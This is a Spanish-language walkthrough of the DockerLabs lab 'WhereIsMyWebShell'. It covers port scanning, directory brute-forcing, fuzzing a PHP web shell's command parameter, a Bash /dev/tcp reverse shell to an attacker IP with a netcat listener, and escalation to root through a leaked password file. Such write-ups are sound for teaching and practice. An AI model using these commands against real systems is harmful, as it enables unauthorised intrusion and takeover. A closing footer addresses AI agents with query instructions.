> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/whereismywebshell.md).

# WhereIsMyWebShell

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone un unico servicio web Apache.

La cadena es muy directa y sirve para practicar enumeracion web con criterio: primero se descubre un archivo `shell.php`, despues se identifica mediante fuzzing el parametro correcto para ejecutar comandos y finalmente se obtiene una reverse shell como `www-data`.

La escalada de privilegios aparece al revisar `/tmp`, donde hay un archivo oculto con la password de `root`.

***

## Reconocimiento

Comenzamos con un escaneo completo de puertos y versiones con Nmap:

```bash
nmap -sVCS -Pn -n -p- 172.17.0.2
```

![](/files/h7ItbQcrFTORH3zEw2W2)

El resultado muestra un unico puerto abierto:

| Puerto | Servicio | Version / comentario       |
| ------ | -------- | -------------------------- |
| 80/tcp | HTTP     | Apache httpd 2.4.57 Debian |

Nmap tambien identifica el titulo de la pagina:

```
Academia de Ingles
```

***

## Enumeracion web

Al visitar la web en el navegador aparece una pagina sencilla de una academia de ingles:

```
http://172.17.0.2
```

![](/files/GN4bU8bPUnsFBgbmmUyU)

Como no hay mas servicios expuestos, centramos la enumeracion en el servidor web. Lanzamos Gobuster con extensiones comunes:

```bash
gobuster dir -u http://172.17.0.2 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt \
  -b 404 -t 60
```

![](/files/SweTZpxZB1sxNsX7dhZy)

Entre los resultados aparecen:

| Recurso          | Codigo | Comentario              |
| ---------------- | ------ | ----------------------- |
| `/index.html`    | 200    | Pagina principal        |
| `/server-status` | 403    | Recurso restringido     |
| `/shell.php`     | 500    | Archivo PHP interesante |

El codigo `500` en `shell.php` llama la atencion: el archivo existe, pero probablemente espera algun parametro para funcionar correctamente.

***

## Fuzzing del parametro

Probamos a descubrir el nombre del parametro con `ffuf`. La idea es enviar el comando `id` como valor y fuzzear el nombre del parametro:

```bash
ffuf -u 'http://172.17.0.2/shell.php?FUZZ=id' \
  -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt \
  -fs 0
```

![](/files/9eNPyEKos34IKRBq0vLk)

El fuzzing encuentra un parametro valido:

```
parameter
```

Lo comprobamos desde el navegador ejecutando `id`:

```
http://172.17.0.2/shell.php?parameter=id
```

![](/files/xF65cYBIzdgAFbgSTFl4)

La respuesta confirma ejecucion remota de comandos como `www-data`:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

***

## Reverse shell

Para conseguir una shell interactiva usamos una reverse shell Bash hacia la maquina atacante `172.17.0.1` por el puerto `4444`:

```bash
bash -c "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"
```

Como el payload va dentro de una URL, lo codificamos:

```bash
urlencode 'bash -c "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"'
```

![](/files/d4skmoEg6kuYIKntWSaP)

El resultado codificado queda asi:

```
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F4444%200%3E%261%22
```

Preparamos un listener con Netcat:

```bash
nc -lvnp 4444
```

Y ejecutamos el payload desde el parametro vulnerable:

```
http://172.17.0.2/shell.php?parameter=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F4444%200%3E%261%22
```

![](/files/KCR37DTrFMF3KbDFROXR)

La conexion llega correctamente:

![](/files/xbyJYWkZnBLKRJyTvTmW)

Ya tenemos acceso como `www-data` dentro de `/var/www/html`.

***

## Enumeracion local

Una vez dentro, revisamos rutas temporales y archivos ocultos. En `/tmp` aparece un archivo especialmente sospechoso:

```bash
ls -la /tmp
```

![](/files/EPFSCrEMlhr5SRy9kDgQ)

El archivo `.secret.txt` pertenece a `root`, pero es legible por otros usuarios:

```
-rw-r--r-- 1 root root 21 Apr 12 2024 .secret.txt
```

Leemos su contenido:

```bash
cat /tmp/.secret.txt
```

![](/files/Plio6gMEr5uXHz5Dybz0)

El archivo contiene una password:

```
contraseñaderoot123
```

***

## Escalada de privilegios

Probamos la password contra el usuario `root`:

```bash
su root
```

![](/files/oZcGKOwMhVKD5qhkUYEW)

La autenticacion funciona y al ejecutar `whoami` se confirma la escalada:

```
root
```

***

## Resumen

La ruta completa de la maquina queda asi:

1. Escaneo con Nmap para detectar el servicio HTTP en el puerto `80`.
2. Revision de la web principal de la academia de ingles.
3. Enumeracion con Gobuster.
4. Descubrimiento de `/shell.php` con respuesta `500`.
5. Fuzzing de parametros con `ffuf`.
6. Identificacion del parametro `parameter`.
7. Confirmacion de RCE ejecutando `id`.
8. Codificacion de una reverse shell Bash.
9. Acceso inicial como `www-data`.
10. Enumeracion local de `/tmp`.
11. Lectura de `/tmp/.secret.txt`.
12. Uso de la password filtrada para cambiar a `root`.

| Usuario  | Credencial / metodo            | Resultado          |
| -------- | ------------------------------ | ------------------ |
| www-data | RCE en `shell.php?parameter=`  | Reverse shell      |
| root     | Password en `/tmp/.secret.txt` | Shell privilegiada |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/whereismywebshell.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
